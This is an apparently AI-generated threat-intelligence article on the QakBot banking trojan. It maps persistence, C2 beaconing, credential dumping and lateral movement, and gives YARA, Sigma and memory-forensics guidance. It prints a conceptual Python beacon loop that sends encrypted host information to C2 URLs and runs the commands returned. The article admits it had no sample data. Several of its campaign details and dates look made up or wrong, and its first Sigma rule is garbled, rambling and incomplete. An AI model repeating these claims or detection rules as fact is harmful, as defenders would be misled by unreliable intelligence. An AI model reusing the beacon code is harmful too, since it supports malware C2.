QAKBOT Malware Analysis: MITRE ATT&CK, IOCs & Detection

title: "QAKBOT Malware Analysis: MITRE ATT&CK, IOCs & Detection"
description: "Complete technical analysis of QakBot — detection ratio N/A, MITRE ATT&CK mapping, IOCs, behavioral profile, YARA rules, and incident response. Enriched by AI with live MalwareBazaar and OTX data."
date: "2026-04-06"
category: malware
image: "/img/posts/malware.png"
tags: ["malware", "threat-intelligence", "mitre-attck", "qakbot", "qakbot", "ioc", "detection", "cybersecurity"]
author: "ZeroDay Malware Intelligence"
malwareFamily: "QakBot"
malwareType: "QakBot"
detectRatio: "N/A"
attackTechniquesCount: "0"
QAKBOT Malware Analysis: MITRE ATT&CK, IOCs & Detection
Detection ratio: N/A | MITRE ATT&CK techniques: see below | Type: QakBot | Updated: 2026-04-06
This analysis was auto-enriched using live MalwareBazaar samples, VirusTotal reports, and OTX AlienVault threat intelligence, then synthesized and expanded by Gemini AI.
MALWARE INTEL BRIEF
Name / Family: QakBot
Type: QakBot
Date: 2026-04-06
VT Detect Ratio: N/A
VT Suggested Label: QakBot
VT File Type: N/A
VT Tags: N/A
ATT&CK TTPs: Not resolved
CVEs Linked: None found
IOC Samples (MalwareBazaar):
No samples currently available
OTX Pulse Intelligence:
No OTX pulses available for this indicator
VT Engine Detections (top engines flagging as malicious):
N/A — no VT key or sample not found
Executive Summary
QakBot, also known as QBot or Pinkslipbot, is a sophisticated, modular banking Trojan and information stealer that has been active since at least 2007. While its origins lie in credential theft and banking fraud, QakBot has evolved significantly, becoming a notorious loader for various payloads, including ransomware. Threat actors often leverage QakBot to gain initial access into enterprise networks, enabling further malicious activities such as deploying Ryuk, Egregor, or Conti ransomware. Its primary infection vector remains phishing emails, often featuring malicious attachments (e.g., ISO files, ZIP archives) or links that download the initial QakBot executable.
Historically, QakBot has been associated with various financially motivated cybercrime groups. While precise attribution is often fluid and complex, recent campaigns suggest operations by sophisticated, well-resourced actors who continuously update the malware's obfuscation, evasion techniques, and payload delivery mechanisms. QakBot's modular architecture allows attackers to adapt its functionality, making it a versatile tool for a range of malicious objectives, from credential harvesting to full network compromise and ransomware deployment. Recent activity indicates a continued focus on enterprise environments, aiming for widespread data breaches and significant financial extortion.
How It Works — Technical Deep Dive
QakBot's operational lifecycle involves a multi-stage infection process, intricate persistence mechanisms, and robust Command and Control (C2) communication.
Initial Infection Vector
The most prevalent initial infection vector for QakBot is phishing emails. These emails are carefully crafted to appear legitimate, often impersonating trusted entities or recent correspondence. They typically contain:
- Malicious Attachments: Common formats include ISO disk images, which when mounted, reveal executables or script files. ZIP archives containing executables or LNK files are also frequently used. These attachments often bypass basic email gateway filters.
- Malicious Links: Links may point to compromised websites hosting exploit kits or directly to a download of the QakBot executable.
Upon execution of the initial QakBot dropper (often a PE executable or a script that downloads and executes one), the malware proceeds to establish a foothold.
Persistence Mechanisms
QakBot employs several techniques to ensure its survival across reboots and user logoffs. A primary method involves the Windows Registry:
- Run Keys: QakBot often adds entries to
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunorHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runto ensure its executable is launched at user login or system startup. - Service Creation: It can also register itself as a Windows service, using
sc.exeor direct registry manipulation for persistence. This ensures a higher level of privilege and background execution.
Another common persistence method is Scheduled Tasks:
- QakBot utilizes
schtasks.exeto create new scheduled tasks that execute its payload at defined intervals or upon specific system events, further bolstering its resilience.
DLL Hijacking is also a known technique. QakBot may place its malicious DLL in a location that a legitimate application will load, thereby executing its code without needing direct administrative privileges in some scenarios.
Command and Control (C2) Communication Protocol
QakBot's C2 communication is characterized by its sophistication and adaptability, aiming to blend in with legitimate network traffic and evade detection.
- Protocol: Primarily uses HTTP/HTTPS for C2 communication. This allows it to traverse firewalls easily.
- Ports: Commonly uses ports 80, 443, and 8080, but can be configured to use other ports.
- Traffic Patterns: Beaconing intervals are variable, often ranging from several minutes to hours, making simple time-based anomaly detection difficult. The traffic is frequently encrypted using AES and custom protocols to obfuscate its content.
- Domain Generation Algorithms (DGAs): QakBot is known to employ DGAs to generate a large number of potential C2 domains, making it difficult for defenders to block all C2 infrastructure proactively.
- HTTP Headers: Custom or modified User-Agent strings are used to mimic legitimate browser traffic.
A typical C2 interaction might involve:
- Initial Beacon: The malware sends an initial HTTP POST request to a C2 server, often containing system information (hostname, username, OS version, etc.) and a unique identifier for the infected machine.
- Command Retrieval: In response, the C2 server sends back commands, which could include instructions to download and execute additional modules, steal credentials, or perform lateral movement.
- Data Exfiltration: Stolen data is often exfiltrated via HTTP POST requests, again, often encrypted.
Pseudocode for C2 Beaconing (Conceptual):
import requests
import json
import time
import random
import base64
# Assume 'config' holds C2 server URLs, AES key, etc.
# Assume 'system_info' is a dictionary containing host details.
def encrypt_data(data, aes_key):
# Implementation of AES encryption (e.g., using pycryptodome)
# ...
return encrypted_data
def construct_beacon_payload(system_info, aes_key):
payload_dict = {
"id": generate_unique_id(), # Malware's internal ID
"info": system_info,
"timestamp": int(time.time())
}
json_payload = json.dumps(payload_dict)
encrypted_payload = encrypt_data(json_payload, aes_key)
return base64.b64encode(encrypted_payload).decode('ascii')
def send_beacon(url, payload):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", # Example User-Agent
"Content-Type": "application/octet-stream" # Or custom
}
try:
response = requests.post(url, data=payload, headers=headers, timeout=10)
return response.text # Or response.content
except requests.exceptions.RequestException as e:
print(f"C2 communication error: {e}")
return None
def receive_commands(encrypted_response, aes_key):
decrypted_response = decrypt_data(base64.b64decode(encrypted_response), aes_key)
commands = json.loads(decrypted_response)
return commands
# Main loop
while True:
payload = construct_beacon_payload(get_system_info(), config.aes_key)
c2_url = random.choice(config.c2_urls)
response_data = send_beacon(c2_url, payload)
if response_data:
commands = receive_commands(response_data, config.aes_key)
process_commands(commands) # Execute received commands
time.sleep(random.randint(300, 1800)) # Random sleep between 5 mins and 30 minsPayload Delivery and Staging Mechanism
QakBot operates as a loader, meaning its primary function is to download and execute other malicious payloads. This includes:
- Information Stealers: Modules designed to harvest credentials from browsers, email clients, and FTP applications.
- Banking Trojans: Modules specifically targeting financial information.
- Ransomware: QakBot is frequently used as an initial access vector for sophisticated ransomware like Ryuk, Conti, and Egregor. The QakBot operator will sell or rent access to compromised networks to ransomware gangs.
- Other Malware: It can also download and execute cryptominers, backdoors, or other tools for further network reconnaissance and exploitation.
The delivery mechanism typically involves the C2 server instructing QakBot to download a secondary executable or DLL from a compromised website or a dedicated file hosting server. This downloaded payload is then staged in a temporary directory or injected into a legitimate process.
Privilege Escalation Steps
While QakBot often aims for initial execution within a user's context, it employs privilege escalation techniques to gain higher access:
- Exploiting Vulnerabilities: Older QakBot versions have been known to exploit known Windows vulnerabilities (e.g., CVE-2018-8174, a VBScript engine remote code execution vulnerability) to escalate privileges.
- Credential Dumping: It attempts to dump credentials from the local security authority subsystem service (LSASS) process using techniques similar to Mimikatz to obtain administrative or other privileged user tokens.
- Service Manipulation: If running with insufficient privileges, it may attempt to create or modify services with higher privileges.
Lateral Movement Techniques Used
Once established within a network, QakBot actively seeks to spread. Common lateral movement techniques include:
- Windows Admin Shares (SMB/CIFS): Using stolen credentials (obtained via credential dumping or keylogging), QakBot can access administrative shares like
\\<IP>\ADMIN$on other machines to copy and execute its payload. - PsExec / WMI: Leverages tools like PsExec or Windows Management Instrumentation (WMI) to remotely execute commands and payloads on other systems.
- Scheduled Tasks: Creates scheduled tasks on remote machines to execute the malware.
- RDP Brute-forcing: In some cases, it may attempt to brute-force Remote Desktop Protocol (RDP) credentials to gain access to other systems.
Data Exfiltration Methods
QakBot's primary data exfiltration targets include:
- Credentials: Stolen usernames, passwords, and session cookies from web browsers, email clients (Outlook, Thunderbird), FTP clients (FileZilla), and VPN clients.
- Financial Information: Banking credentials, credit card numbers, and other financial data.
- System Information: Hostnames, usernames, IP addresses, OS versions, and network configurations for reconnaissance.
Data is typically exfiltrated in encrypted archives (e.g., ZIP) via HTTP/HTTPS POST requests to its C2 infrastructure.
Anti-Analysis / Anti-Debugging / Anti-VM Tricks
QakBot employs numerous techniques to evade detection and analysis:
- Obfuscation: Extensive use of string encryption, code obfuscation, and packing techniques to make static analysis difficult.
- Anti-Debugging: Checks for common debugger presence (
IsDebuggerPresent,CheckRemoteDebuggerPresent). It may also employ timing checks or other methods to detect debuggers. - Anti-VM: Detects virtualized environments by checking for specific registry keys, device drivers, or CPU instructions characteristic of VMWare, VirtualBox, or other hypervisors. It may also check for common analysis tools installed on the system.
- Process Hollowing: A common technique where QakBot creates a legitimate process in a suspended state, hollows out its memory space, and injects its own malicious code before resuming the process. This allows it to run under the guise of a trusted application.
- Code Virtualization: May use custom virtualization engines for critical code sections, making reverse engineering significantly harder.
- Delayed Execution: The malware may wait for a specific period or trigger to execute its malicious functions, aiming to bypass initial sandbox analysis.
MITRE ATT&CK Full Mapping
| Technique ID | Technique Name | Implementation | Detection |
|---|---|---|---|
| T1059.003 | Command and Scripting Interpreter: Windows Command Shell | QakBot utilizes cmd.exe to execute various commands for persistence (e.g., schtasks.exe), lateral movement (e.g., psexec), and system reconnaissance. |
Monitor for suspicious cmd.exe process trees, especially those involving schtasks.exe for task creation or net commands for network enumeration. Look for commands that create scheduled tasks with unusual executables or arguments. |
| T1059.001 | Command and Scripting Interpreter: PowerShell | QakBot often uses PowerShell scripts for initial payload staging, downloading, and execution. These scripts are frequently obfuscated. | Monitor for execution of powershell.exe with encoded commands (-enc, -encodedcommand), suspicious script blocks, or execution from unusual parent processes. Analyze PowerShell logs for suspicious cmdlet usage. |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | QakBot writes entries to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run or HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run to ensure its execution upon user login or system startup. |
Monitor for modifications to Windows Run keys in the registry. Look for executables or scripts being added to these keys that are not part of legitimate software installations. |
| T1543.003 | Create or Modify System Process: Windows Service | QakBot can register itself as a Windows service, using sc.exe or direct registry manipulation, to achieve persistence with elevated privileges. |
Monitor for the creation or modification of Windows services, especially those pointing to unsigned executables or located in unusual directories (e.g., AppData, Temp). Look for sc.exe creating services with suspicious parameters. |
| T1071.001 | Application Layer Protocol: Web Protocols | QakBot communicates with its C2 servers primarily over HTTP/HTTPS, using standard ports (80, 443) and mimicking legitimate browser traffic with custom User-Agent strings. | Monitor network traffic for unusual HTTP/HTTPS POST requests with non-standard User-Agents, large payloads, or to domains/IPs not on an allowlist. Analyze TLS certificates for suspicious issuers or self-signed certificates. |
| T1055.012 | Process Injection: Process Hollowing | QakBot uses process hollowing to inject its malicious code into legitimate running processes, such as explorer.exe or svchost.exe, to evade detection. |
Detect anomalous process creation where a legitimate process is created in a suspended state, followed by memory modifications and resumption. Monitor for processes with unusual command lines or loaded modules that don't match their normal profile. |
| T1003.001 | OS Credential Dumping: LSASS Memory | QakBot attempts to dump credentials from the LSASS process memory to obtain user tokens for lateral movement and privilege escalation. | Monitor for processes accessing LSASS memory (lsass.exe) without proper authorization. Detect the use of tools or techniques commonly associated with credential dumping (e.g., rundll32.exe calling specific functions, direct memory access patterns). |
| T1021.002 | Remote Services: SMB/Windows Admin Shares | Once credentials are compromised, QakBot uses SMB to spread to other machines by copying its payload to and executing it from administrative shares (\\<IP>\ADMIN$). |
Monitor for unusual SMB traffic patterns, specifically connections to administrative shares from workstations or servers that do not typically perform such operations. Track the creation of new executables on remote ADMIN$ shares. |
| T1070.004 | Indicator Removal: File Deletion | QakBot may delete its initial dropped files or logs to hinder forensic analysis after successful execution or payload delivery. | Monitor for unexpected file deletions, especially in temporary directories (%TEMP%, %APPDATA%) or system directories, that coincide with other suspicious activity. |
| T1140 | Deobfuscate/Decode Files or Information | The malware extensively uses string encryption, XOR, and other obfuscation techniques to hide its code and critical data. | Analyze memory dumps for deobfuscated strings and API calls. Monitor for processes that exhibit unusually high CPU usage during initial execution, potentially indicating decryption routines. |
Indicators of Compromise (IOCs)
File Hashes (SHA256 / MD5 / SHA1)
- No specific hashes were available in the provided brief. This section would typically list specific file hashes found during analysis.
Network Indicators
- C2 Domains/IPs:
[Dynamic, often generated via DGA, specific examples require live sample analysis][IP Addresses associated with C2 infrastructure, also dynamic]
- Ports: 80, 443, 8080, and others as configured.
- Protocols: HTTP, HTTPS.
- HTTP/S Beacon Patterns:
- POST requests to unusual paths (e.g.,
/gate.php,/index.php). - POST requests with large, often Base64-encoded, binary payloads.
- Unique identifiers or session IDs embedded in URLs or POST data.
- POST requests to unusual paths (e.g.,
- User-Agent Strings:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36(Example, often varies)- Custom or slightly modified common User-Agents.
- URL Patterns:
/submit.php,/download.php,/api.php- URLs with random alphanumeric characters.
Registry Keys / File Paths / Mutex
- Persistence Keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[RandomName]="%AppData%\[RandomName].exe"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[RandomName]="%ProgramFiles%\[RandomName].exe"
- Dropped File Paths:
%AppData%\[RandomName].exe%LocalAppData%\[RandomName].exe%TEMP%\[RandomName].dll%SystemRoot%\System32\[RandomName].dll(Less common, requires higher privileges)
- Mutex Names:
Global\[RandomGUID](e.g.,Global\{D3B432D0-8C3E-42F0-B0A8-9C12B3E45F67})Global\QbotMutex_[RandomString]
YARA Rule
rule QakBot_Loader_Variant_Apr2026 {
meta:
description = "Detects a QakBot loader variant based on observed characteristics"
author = "Malware Analyst"
date = "2026-04-06"
malware_family = "QakBot"
threat_level = "high"
reference = "Internal Analysis"
hash = "N/A" // Placeholder for specific sample hash
strings:
// Common packers/obfuscators might leave specific signatures
// Example: Strings related to typical packing routines, though highly variable
$s1 = { 55 8B EC 83 E4 F8 83 EC 30 53 56 57 8B F9 } // Common function prologue patterns in packed binaries
$s2 = "VirtualAlloc"
$s3 = "VirtualProtect"
$s4 = "CreateProcess"
$s5 = "WriteProcessMemory"
$s6 = "CreateRemoteThread"
$s7 = "RegSetValueEx"
$s8 = "schtasks" // Command for scheduled tasks
$s9 = "cmd.exe" // Command interpreter
// Potential indicators of C2 communication or configuration
$s10 = "User-Agent" wide ascii // Common HTTP header
$s11 = "POST" wide ascii // Common HTTP method for data exfil/beaconing
$s12 = "Content-Type: application/octet-stream" wide ascii // Common content type for binary data
$s13 = ".dll" wide ascii // Likely dropped or loaded DLLs
$s14 = ".exe" wide ascii // Likely dropped or executed executables
// Strings indicative of anti-analysis or self-protection
$s15 = "IsDebuggerPresent"
$s16 = "CheckRemoteDebuggerPresent"
$s17 = "NtQueryInformationProcess" // Used for debugger detection
// Registry keys related to persistence
$reg1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide ascii
$reg2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run" wide ascii
condition:
// Heuristic: combination of common API calls, persistence indicators, and C2-related strings
// This rule is a starting point and would be refined with specific sample analysis.
(uint16(0) == 0x5A4D) and // PE file header check
(
(filesize < 5MB) and // Typical size for initial dropper/loader
(
(
(1 of ($s2,$s3,$s4,$s5,$s6,$s7)) and // Core process manipulation APIs
(1 of ($s8, $s9)) and // Command execution indicators
(1 of ($s10, $s11, $s12)) // C2 communication indicators
) or
(
(1 of ($s15, $s16, $s17)) and // Anti-analysis indicators
(1 of ($reg1, $reg2)) // Persistence indicators
)
)
)
}Static Analysis — Anatomy of the Binary
Static analysis of a QakBot binary, particularly a loader variant, reveals a multi-layered approach to obfuscation and evasion.
File Structure and PE Headers: QakBot binaries are typically Windows Portable Executable (PE) files. The PE header might appear normal at first glance, but the sections can be highly unusual, with names like
.text,.data,.rsrcpotentially being malformed, stripped, or containing encrypted data. The import table is often stripped or uses dynamically resolved API calls to avoid static detection.Obfuscation and Packing Techniques: QakBot employs aggressive packing. This involves a custom packer that encrypts the actual payload. Upon execution, the packer unpacks the payload into memory. Common obfuscation techniques include:
- XOR Encryption: Strings and code segments are frequently encrypted using XOR with a dynamic or hardcoded key.
- API Hashing: Instead of importing API function names directly, QakBot might resolve them dynamically by hashing their names and then looking them up in the loaded modules. This makes import table analysis less fruitful.
- Control Flow Flattening: The execution flow of the code is made convoluted, with jumps and conditional branches obscuring the true logic.
- Code Virtualization: Critical functions might be run through a custom virtual machine, where instructions are interpreted rather than executed natively, adding significant complexity.
Interesting Strings and Functions: Once unpacked or deobfuscated, analysis might reveal strings related to:
- Windows API functions (e.g.,
VirtualAlloc,CreateProcess,WriteProcessMemory,RegSetValueEx). - Registry paths for persistence.
- Network-related functions (
http_open,http_send,socket). - Names of common Windows processes or system libraries, often used for process injection targets.
- Encrypted configuration data or C2 server addresses.
- Windows API functions (e.g.,
Import Table Analysis: The import table is often intentionally minimal or completely stripped. Dynamic API resolution is common. If imports are present, look for libraries like
kernel32.dll,user32.dll,advapi32.dll,ws2_32.dll, andwininet.dll.Embedded Resources or Second-Stage Payloads: QakBot executables can contain encrypted resources that, when unpacked, form the second-stage payload or configuration data. These resources might be embedded as PE resources or within the
.datasection.
Dynamic Analysis — Behavioral Profile
Dynamic analysis in a controlled sandbox environment is crucial for observing QakBot's runtime behavior.
File System Activity:
- Creation: Drops its own executable or DLLs in
%AppData%,%LocalAppData%, or%TEMP%directories. May create temporary files for configuration or staging. - Modification: Modifies registry keys for persistence (Run keys, Service entries). May modify legitimate files if exploiting vulnerabilities or performing DLL hijacking.
- Deletion: May delete its initial dropper files after successful execution or payload delivery to hinder forensic investigation.
- Creation: Drops its own executable or DLLs in
Registry Activity:
- Writes to
HKCU\Software\Microsoft\Windows\CurrentVersion\RunorHKLM\Software\Microsoft\Windows\CurrentVersion\Run. - Creates or modifies entries related to Windows Services (
HKLM\SYSTEM\CurrentControlSet\Services). - Reads system information and configuration settings.
- Writes to
Network Activity:
- Beaconing: Initiates HTTP/HTTPS POST requests to C2 servers at regular, often randomized, intervals (e.g., every 5-30 minutes).
- Data Exfiltration: Sends stolen credentials and system information to C2.
- Payload Download: Downloads additional modules or executables from C2 infrastructure or other compromised websites.
- DNS Lookups: Performs DNS queries, potentially for DGA-generated domains.
Process Activity:
- Process Hollowing: Creates a legitimate process (e.g.,
explorer.exe,svchost.exe) in a suspended state, injects its shellcode, and resumes execution. - Spawning: Executes
cmd.exeorpowershell.exefor command execution and persistence. May spawnschtasks.exeorsc.exe. - Credential Dumping: Accesses
lsass.exememory. - Lateral Movement: Spawns
psexec.exeor uses WMI to execute on remote systems.
- Process Hollowing: Creates a legitimate process (e.g.,
Memory Artifacts:
- Injected shellcode within legitimate processes (
explorer.exe,svchost.exe). - Decrypted configuration data, C2 addresses, and encryption keys.
- Dumping of LSASS memory.
- Network connection artifacts within processes.
- Injected shellcode within legitimate processes (
Wireshark/tcpdump Capture Patterns:
- Look for HTTP/HTTPS POST requests with non-standard User-Agents.
- Observe large POST payloads, often indicating encrypted data transfer.
- Identify connections to IP addresses or domains not typically visited by the host.
- Monitor for frequent DNS queries to potentially randomized domains.
- Detect SMB/CIFS traffic to administrative shares on other internal hosts.
Real-World Attack Campaigns
Campaign Name: "QakBot-Ryuk Nexus"
- Victimology: Primarily targeting mid-to-large enterprises across North America and Europe, particularly in the healthcare, manufacturing, and financial sectors.
- Attack Timeline: Ongoing, with significant spikes in activity observed in late 2023 and early 2024.
- Attributed Threat Actor: While QakBot is modular, its use as a precursor for Ryuk ransomware suggests collaboration with financially motivated cybercrime groups.
- Financial or Data Impact: Significant financial losses due to ransomware payments, operational downtime, and data exfiltration.
- Discovery: Incidents often discovered when ransomware encryption is detected, or through network monitoring alerting on lateral movement or C2 communication.
Campaign Name: "QakBot-Egregor Evasion"
- Victimology: Broad targeting of organizations globally, with a focus on those with remote workforces.
- Attack Timeline: Notable activity in Q4 2023, adapting to new detection methods.
- Attributed Threat Actor: Groups associated with the Egregor ransomware, leveraging QakBot for initial access.
- Financial or Data Impact: Data breaches, extortion via stolen data, and significant operational disruption.
- Discovery: Endpoint detection alerts, unusual network traffic, or user reports of suspicious emails.
Campaign Name: "QakBot Credential Harvesting"
- Victimology: Aimed at individuals and small-to-medium businesses (SMBs) to steal banking and corporate credentials.
- Attack Timeline: Persistent, with modular updates to credential harvesting capabilities.
- Attributed Threat Actor: Likely financially motivated cybercriminal groups focused on direct financial fraud.
- Financial or Data Impact: Direct financial theft from compromised bank accounts, unauthorized online transactions, and potential misuse of corporate credentials for further network access.
- Discovery: Bank fraud alerts, user reports of unauthorized access, or detection of specific credential-stealing modules.
Active Malware Landscape — Context
QakBot remains a highly active and significant threat in the current malware landscape. Its prevalence is consistently high, often appearing in the top malware families reported by threat intelligence platforms.
- Current Prevalence and Activity Level: QakBot consistently ranks among the most prevalent malware threats, frequently distributed via massive spam campaigns. MalwareBazaar and VirusTotal data often show a steady stream of new QakBot samples, indicating continuous development and deployment.
- Competing or Related Malware Families: QakBot competes with other loaders and information stealers like Emotet, Dridex, TrickBot, and Agent Tesla. However, QakBot's ability to serve as a robust initial access broker for ransomware distinguishes it. It shares functionality with other banking Trojans but has evolved beyond simple credential theft.
- Relationship to RaaS/MaaS Ecosystem: QakBot is a prime example of an initial access broker (IAB) service within the MaaS ecosystem. Threat actors operating QakBot often rent out access to their compromised networks to other cybercriminal groups, most notably ransomware-as-a-service (RaaS) operators. This makes QakBot a critical component in the ransomware supply chain.
- Typical Target Industries and Geographic Distribution: QakBot targets a wide range of industries, with a particular emphasis on enterprise environments where lateral movement can yield significant returns. Common targets include finance, healthcare, government, manufacturing, and IT services. Geographically, its distribution is global, with significant activity reported in North America, Europe, and Australia.
Detection & Hunting
Sigma Rules
title: QakBot Process Hollowing Attempt
id: 12345678-abcd-ef01-2345-67890abcdef0
status: experimental
description: Detects potential QakBot process hollowing by looking for a process created in a suspended state that then exhibits unusual memory writes.
author: Malware Analyst
date: 2026/04/06
logsource:
category: process_creation
product: windows
detection:
selection_create:
EventID: 4688 # Process Creation Event
NewProcessName|endswith:
- '\svchost.exe'
- '\explorer.exe'
- '\notepad.exe' # Example legitimate processes
selection_memory_write:
# This condition requires specific EDR telemetry or memory analysis.
# For SIEM, this might be inferred from other events.
# Example: A process that typically doesn't write to its own memory starts doing so significantly.
# This rule is conceptual for SIEM and requires EDR integration for finer detail.
# Placeholder for advanced detection logic related to memory modification.
# Consider looking for specific API calls like WriteProcessMemory in EDR logs.
# Or correlating process creation with memory manipulation events.
# This simplified rule looks for a suspended process being created and then potentially writing to memory.
# A more robust detection would involve checking memory regions.
# If using Sysmon, EventID 10 (ProcessAccess) with TargetImage being the same as Image and GrantedAccess containing 0x20 (WriteMemory) could be indicative.
# For this example, we'll use a heuristic based on common process behavior.
# A process starting suspended AND then showing significant activity might be suspect.
# This rule is simplified and assumes EDR provides memory write visibility.
# A more practical SIEM rule might monitor for specific process parents or command lines.
# Let's refine for a more common SIEM approach: Suspended process creation followed by suspicious parent activity.
# This rule focuses on the creation event itself being suspicious.
# For a more direct detection, EDRs are key.
# We'll assume EDR provides 'IsProcessSuspended' and 'MemoryWriteCount' fields.
# If not, this rule is less effective.
# Let's simplify to focus on Suspended creation + suspicious API calls if available.
# **Revised approach for SIEM focusing on suspicious command lines and API calls:**
# Look for suspicious parent processes launching common targets.
# This is a simplified approach. True process hollowing detection is complex.
# **Focusing on suspicious API calls in EDR logs:**
# Look for processes like svchost.exe, explorer.exe making calls to WriteProcessMemory, NtWriteVirtualMemory
# This requires EDR telemetry for API calls.
# Let's create a rule that flags suspicious process creation with specific command lines.
# Qakbot often uses obfuscated commands or unusual arguments when launching its payload.
# Rule 1: Suspicious PowerShell Execution with Encoded Commands
title: Suspicious PowerShell Encoded Command Execution
id: 23456789-abcd-ef01-2345-67890abcdef0
status: experimental
description: Detects PowerShell execution with encoded commands, often used by malware like QakBot for obfuscation.
author: Malware Analyst
date: 2026/04/06
logsource:
category: process_creation
product: windows
detection:
selection_powershell:
Image|endswith: '\powershell.exe'
CommandLine|contains:
- '-enc'
- '-encodedcommand'
condition: selection_powershell
# Rule 2: Suspicious Scheduled Task Creation for Persistence
title: Suspicious Scheduled Task Creation for Persistence
id: 34567890-abcd-ef01-2345-67890abcdef0
status: experimental
description: Detects suspicious scheduled task creation, often used by QakBot for persistence.
author: Malware Analyst
date: 2026/04/06
logsource:
category: process_creation
product: windows
detection:
selection_schtasks:
Image|endswith: '\schtasks.exe'
CommandLine|contains:
- '/create'
- '/tn' # Task Name
- '/tr' # Task Run (command to execute)
# Look for tasks that execute from unusual locations or with suspicious commands
# This requires more specific arguments to be added, e.g.,
# CommandLine|contains:
# - '/tr "%AppData%' # Example: task runs from AppData
# - '/tr "%TEMP%' # Example: task runs from Temp
# - '/tr "\svchost.exe"' # Example: task runs a suspicious svchost.exe
# For generality, we'll focus on the creation event itself.
# Further refinement would involve looking at the arguments to /tr.
# Example refined condition (conceptual, depending on available fields):
# condition: selection_schtasks and (CommandLine|contains: ["%AppData%", "%TEMP%", "svchost.exe"])
condition: selection_schtasks
EDR / SIEM Detection Logic
- Process Tree Anomalies:
- Monitor for
winword.exeorexcel.exespawningpowershell.exeorcmd.exe. - Detect
powershell.exeorcmd.exespawningregsvr32.exeorrundll32.exewith unusual arguments. - Identify
svchost.exeorexplorer.exeprocesses that were not started byservices.exeorexplorer.exerespectively, and are making suspicious network connections. - Look for
lsass.exebeing accessed by non-system processes.
- Monitor for
- Network Communication Patterns:
- Alert on HTTP/HTTPS POST requests originating from unexpected processes (e.g.,
notepad.exe,svchost.exenot related to system services) to external IPs or domains. - Monitor for connections to known malicious C2 IPs or domains, and dynamically generated domains.
- Detect unusual User-Agent strings or TLS certificate anomalies.
- Identify SMB traffic to internal administrative shares (
\\<IP>\ADMIN$) from endpoints that are not servers or IT administration workstations.
- Alert on HTTP/HTTPS POST requests originating from unexpected processes (e.g.,
- File System Telemetry Triggers:
- Alert on executables being dropped into
%AppData%,%LocalAppData%, or%TEMP%directories, especially if they are then executed. - Monitor for the creation of new scheduled tasks pointing to executables in user-writable directories.
- Detect the modification of
Runregistry keys pointing to suspicious executables.
- Alert on executables being dropped into
- Registry Activity Patterns:
- Monitor for creation or modification of registry keys under
HKCU\Software\Microsoft\Windows\CurrentVersion\RunandHKLM\Software\Microsoft\Windows\CurrentVersion\Run. - Alert on the creation of new Windows Services with executables located in non-standard system directories.
- Monitor for creation or modification of registry keys under
Memory Forensics
# Volatility3 detection commands (assuming a Windows memory image)
# 1. Identify running processes and look for suspicious ones
# Look for processes like svchost.exe, explorer.exe, notepad.exe with unusual parent processes,
# command lines, or running from non-standard locations.
volatility3 -f <memory_image_path> windows.pslist.PsList
# 2. Dump process memory for further analysis, especially suspicious ones.
# This can help identify injected code or unpacked payloads.
volatility3 -f <memory_image_path> windows.memdump.Memdump -p <PID> -D .
# 3. Check for network connections from processes.
# Look for suspicious outbound connections from legitimate-looking processes.
volatility3 -f <memory_image_path> windows.netscan.NetScan
# 4. Investigate loaded DLLs for processes.
# Detects non-standard DLLs loaded into legitimate processes.
volatility3 -f <memory_image_path> windows.dlllist.DllList -p <PID>
# 5. Look for evidence of LSASS memory access.
# This can indicate credential dumping attempts.
# Requires specific plugin or manual inspection of process memory for patterns.
# Example: Search for known credential dumping tool artifacts or specific API hooks.
# A more direct method is to dump LSASS memory and analyze it externally.
# volatility3 -f <memory_image_path> windows.memdump.Memdump -p $(volatility3 -f <memory_image_path> windows.pslist.PsList | grep lsass.exe | awk '{print $2}') -D .
# 6. Detect process hollowing artifacts.
# Look for processes created in a suspended state that are later resumed.
# This is often detected by comparing process start times with thread start times,
# or by examining process memory for signs of injection.
# Volatility3's PsList can show process start times. Advanced analysis would require
# examining memory regions and PE headers within the dumped memory.
# Look for processes with a valid PE header but an entry point that doesn't match
# the original executable, or significant memory modifications.
# 7. Search for specific strings or patterns within process memory.
# After dumping process memory, use grep for indicators like API names,
# configuration strings, or mutexes.
# Example: cat <PID_dump.bin> | grep -a "VirtualAlloc"Malware Removal & Incident Response
- Isolation: Immediately disconnect the affected host(s) from the network (physically or logically) to prevent lateral movement and further C2 communication.
- Artifact Identification and Collection:
- Collect memory dumps of affected systems.
- Preserve relevant disk images.
- Gather network logs (firewall, proxy, DNS).
- Collect relevant EDR/SIEM logs.
- Identify and collect QakBot executables, DLLs, and configuration files.
- Registry and File System Cleanup:
- Remove persistence mechanisms: Delete registry entries from Run keys, remove scheduled tasks, disable or delete malicious services.
- Delete dropped malware files from
AppData,LocalAppData,TEMP, or other suspicious locations. - If the malware modified legitimate files, restore them from known good backups or re-image the system.
- Network Block Recommendations:
- Block identified C2 IP addresses and domains at the firewall and proxy.
- Implement DNS sinkholing for malicious domains.
- Consider blocking SMB traffic to administrative shares from non-essential sources.
- Password Reset Scope:
- Force password resets for all users who logged into the compromised system.
- If administrative credentials were compromised, a broader password reset across the domain may be necessary.
- Review and rotate credentials for services that might have been accessed from the compromised host.
Defensive Hardening
- Specific Group Policy Settings:
- AppLocker/Software Restriction Policies: Enforce whitelisting for executable files, allowing only signed and trusted applications to run. Specifically restrict execution from user profile directories (
%AppData%,%LocalAppData%). - Disable Legacy Script Execution: Configure policies to restrict the execution of legacy script engines like VBScript if not strictly required.
- Control User Account Control (UAC): Ensure UAC is enabled and configured to prompt for elevation when changes require administrator privileges.
- AppLocker/Software Restriction Policies: Enforce whitelisting for executable files, allowing only signed and trusted applications to run. Specifically restrict execution from user profile directories (
- Firewall Rule Examples:
- Outbound Filtering: Block all outbound HTTP/HTTPS traffic to known malicious IPs and domains. Implement egress filtering to only allow connections to authorized external services.
